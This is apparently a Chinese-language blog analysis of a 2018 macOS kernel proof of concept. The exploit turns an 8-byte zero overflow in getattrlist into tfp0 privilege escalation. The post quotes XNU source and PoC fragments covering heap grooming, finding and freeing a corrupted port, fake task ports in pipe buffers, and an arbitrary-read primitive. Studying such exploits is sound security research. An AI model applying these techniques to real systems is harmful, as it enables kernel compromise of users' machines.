0x00.前言
憋了半天终于憋出来了…这是lan Beer在2018年写的一个Poc,利用的方式十分的巧妙,利用了很多巧妙的方式来提供成功率,如创建大量的闲置线程去抢占CPU,从而维护堆空间的稳定,虽然成功率只有50%(lan Beer said on Tiwtter),但是其中对于仅仅溢出8个零字节的方式就达到提权的方式还是非常值得我们去学习的。
0x01.漏洞产生点
漏洞的产生点就在我们没有对于bufferSize的下界进行检查,所以我们可以传递一个很小的buffer
/*
* Allocate a target buffer for attribute results.
* Note that since we won't ever copy out more than the caller requested,
* we never need to allocate more than they offer.
*/
ab.allocated = ulmin(bufferSize, fixedsize + varsize);
if (ab.allocated > ATTR_MAX_BUFFER) {
error = ENOMEM;
VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
goto out;
}
MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);
但是溢出的数据是并不受我们控制的,至于为什么,我们来看一下函数原型就知道了:
static int
getattrlist_internal(vnode_t vp, struct getattrlist_args *uap, proc_t p, vfs_context_t ctx)
{
...
...
...
if (al.volattr) {
if (al.fileattr || al.dirattr || al.forkattr) {
error = EINVAL;
VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: mixed volume/file/directory/fork attributes");
goto out;
}
error = getvolattrlist(vp, uap, &al, ctx, proc_is64);
goto out;
}
从if
的判断条件来看,al
的volattr
不为0之后,其他的三个属性如果不是0就会进入错误的分支,所以我们只能溢出8个字节的0
,那么这个偏移是如何计算的呢,重点就在最后的bcopy
函数了:
bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof(ab.actual));
这个地方我们最多只能溢出八个字节的原因是因为ab.actual
的大小为0x14
,sizeof(uint32_t)
为4字节,所以最多只会溢出0x14+0x4-0x10=8
个字节的数据,并且建立在buffer在kalloc.16
的区间内。
接下来就是如何一步步通过这个溢出来达到提权的过程
0x02.漏洞利用
目前还没有对所有的细节看的非常清楚,但是lan Beer
做的一连串的操作已经让我目瞪口呆了,我就从宏观上来说一下大概做了什么事情:
lan Beer
采用的是tfp0的方式来实现任意地址读写,这意味着我们需要拿到一个拥有内核权限的端口,他尝试在内存空间分配了一连串的连续页面,形如下面的样子:
kalloc.16 | ipc_ports | kalloc.16 | ipc_ports …
这个时候我们在kalloc.16
的那个页面上想要尝试做溢出,但是如果我们溢出到了freelist
只会导致内核panic
,那么怎样才能将我们溢出的8个字节控制到页面的边界,从而覆盖ipc ports
的那个页面呢?
这里我们可以发现free list
其实采取的是一种半随机化的分配方式:
| 9 8 6 5 2 1 3 4 7 10 | ← example “randomized” allocation order from a fresh all-free page
也就是说我们通过将页面里面的所有kalloc.16
全部释放之后,free list
就会reverse
,那么重新申请的kalloc.16
就是从free list
的两边往中间扩散,如果重新申请kalloc.16
的在页面的最右边,然后我们触发漏洞,就能将ipc port
页面的前八个字节给覆盖成0,这个就是我们的目的:
| 1 4 - - - - - 5 3 2 | | 2 5 - - - - - 4 3 1 |
kalloc.16 ipc_ports
在反向的freelist
中,如果我们从边界开始做溢出的话,很可能就会溢出到-
,也就是free list
中,所以我们会先剪去一个值,比如说我们从3
开始做溢出,在溢出之后再申请一个内存占位,这样循环只会溢出到kalloc 16 chunk
,或者到ipc ports
,也就是我们希望达到的效果。这样一来就保证了我们的漏洞触发并不会崩溃,并且最后一定会溢出到一个ipc port
,这里会出现问题的地方就是如果页面中间的内存没有分配,触发漏洞就会panic
,就算我们剪去一个数也是没有办法百分百保证一定会成功的。
接下来就是把这个被覆盖的port
给找出来,因为ip_object->ip_object->io_bits
被覆盖为NULL,ip_active(port)
就会为false
,那么调用mach_port_kobject
就会返回KERN_INVALID_RIGHT
,根据这个特征我们就可以拿到目标端口的port name
了:
err = mach_port_kobject(mach_task_self(),
candidate_port,
&typep,
&addr);
if (err != KERN_SUCCESS) {
printf("found the port! %x\n", candidate_port);
target_port = candidate_port;
break;
}
}
// Stop searching. We found the corrupted port.
if (target_port != MACH_PORT_NULL) {
break;
}
这中间其实lan Beer
还做了很多操作去提升成功率,比如为ipc_kmsg
的trailer
构造free list
来降低干扰等,感兴趣的可以去具体看一下lan Beer
的poc,我这里就不多说了。
接下来我们拿到这个被覆盖了前八个字节的端口之后,接下来我们要将它释放掉,方便我们之后去重新布置上面的数据,但是由于它的状态并不是active
的,所以我们需要寻找一种方式找到一个函数减少它的reference
,并且这个函数不会做其他多余的事情,比如说仅仅返回一个状态码。
经过寻找之后可以定位到mach_port_set_attributes
这个函数上:
ip_reference(port);
ip_unlock(port);
...
...
// 因为"ipc_port->ipc_object->io_bits" 为 NULL, "ip_active(port)" 就是 false ,代码运行到else部分
if (ip_active(port) && (port->ip_requests == otable) &&
((otable == IPR_NULL) || (otable->ipr_size+1 == its))) {
...
...
...
} else {
ip_unlock(port);
// 这里减少了引用,这里的引用数就变成了0,如果继续深挖下去,最后会被"io_free"这个函数释放掉
ip_release(port);
it_requests_free(its, ntable);
}
//"ip_active(port) == false"并不是一个错误的情况,所以我们的返回值还会是KERN_SUCCESS
return KERN_SUCCESS;
}
端口被释放之后我们在页面中间找一个端口作为我们的canary port
,接下来的目标就是用这个canary port
来覆盖target port
的ip_context
字段,我们的做法是触发系统的GC(这是一个很精髓的堆空间操作),然后把一个充满我们布置数据的页面来替换target port
的那个页面。
如果上一步成功了的话,那么我们应该可以用mach_port_get_context
来返回canary port
的地址:
kern_return_t
mach_port_get_context(
ipc_space_t space,
mach_port_name_t name,
mach_vm_address_t *context)
{
ipc_port_t port;
kern_return_t kr;
if (space == IS_NULL)
return KERN_INVALID_TASK;
if (!MACH_PORT_VALID(name))
return KERN_INVALID_RIGHT;
kr = ipc_port_translate_receive(space, name, &port);
if (kr != KERN_SUCCESS)
return kr;
//流程进入else
if (port->ip_strict_guard)
*context = 0;
else
//ipc_port->ip_context的值将会被直接返回给用户空间
*context = port->ip_context;
ip_unlock(port);
//这里并没有其他的安全性校验,直接返回了
return KERN_SUCCESS;
}
这里虽然我们用来覆盖的canary port
只是一个port name
,但是我们是通过OOL message
发送到内核的,所以这个地址会自动被转换为canary port
的ipc port
的真实地址。
最后我们通过这个函数就可以在用户空间去拿到canary port
的ipc port
的地址了,剩下操作就比较显而易见了,如果我们有了一个受我们掌控的port
。
因为之前占住target port
的是ool message
,我们再接受消息回来,空间被释放掉了,接下来申请一串pipe
,来占住那个页面,而在这些pipe
上布置的是我们布置好的fake port
,其中fake task
的地址指向的是离canary port
那个页面0x10000
(取决于内核页面大小)的页面,地址暂记为pipe_target_kaddr
:
此时我们可以做一个小测试来看看target port
是否被布置好的pipe buffer
给替换了:
err = pid_for_task(target_port, &val);
if (err != KERN_SUCCESS) {
printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err));
}
//如果返回0x80000002就说明我们覆盖成功了
printf("read val via pid_for_task: %08x\n", val);
接下来我们想要找到创建出来的那一连串pipe
中的pipe_target_kaddr
对应的pipe
的r/w
接口是哪一个,从而控制fake task
中的数据,所以我们可以写一个循环来找:
for (int i = 0; i < next_pipe_index; i++) {
if (i == replacer_pipe_index) {
continue;
}
read(read_ends[i], old_contents, 0xfff);
// 我们把想要找到的那个pipe读的值给修改一下,偏移+4
build_fake_task_port(new_contents, pipe_target_kaddr, pipe_target_kaddr+4, 0, 0, 0);
write(write_ends[i], new_contents, 0xfff);
uint32_t val = 0;
err = pid_for_task(target_port, &val);
if (err != KERN_SUCCESS) {
printf("pid_for_task returned %x (%s)\n", err, mach_error_string(err));
}
printf("read val via pid_for_task: %08x\n", val);
//如果此时的返回值为0xf00d,说明我们成功的找到了那个pipe buffer的地址
if (val != 0x80000002) {
printf("replacer fd index %d is at the pipe_target_kaddr\n", i);
pipe_target_kaddr_replacer_index = i;
break;
}
}
拿到地址后,我们就可以准备任意地址读了:
prepare_early_read_primitive(target_port, read_ends[pipe_target_kaddr_replacer_index], write_ends[pipe_target_kaddr_replacer_index], pipe_target_kaddr);
void prepare_early_read_primitive(mach_port_t target_port, int read_fd, int write_fd, uint64_t known_kaddr) {
early_read_port = target_port;
// 通过这两个管道,我们就可以完全控制target port的fake task的值来进行任意地址读
early_read_read_fd = read_fd;
early_read_write_fd = write_fd;
// 这个就决定了我们的fake task地址
early_read_known_kaddr = known_kaddr;
}
下面我们就该canary port
出场了,因为我们知道canary port
的内核地址,所以如果我们向这个端口发送消息,消息的local port
设置为mach_host_self()
,那么这就意味着可以通过ipc_port.ip_messages.messages->messages[0]
先找到kmsg
然后再通过kmsg->ikm_header->msgh_local_port
找到我们的host port
的ipc port
地址!接下来我们也将通过同样的方式来找到我们的task port
地址。
通过位运算定位到host port
的页面开头,然后从页面的开头开始找kernel task port
,然后就可以通过tfp0
的方式达到提权,lan Beer
的整个流程分析就到此结束了,但是其中还有一些细节没有完全的解释清楚,有兴趣的可以看一下他的poc
,和我探讨一下。
0x03.参考链接
-
MacOSX Internals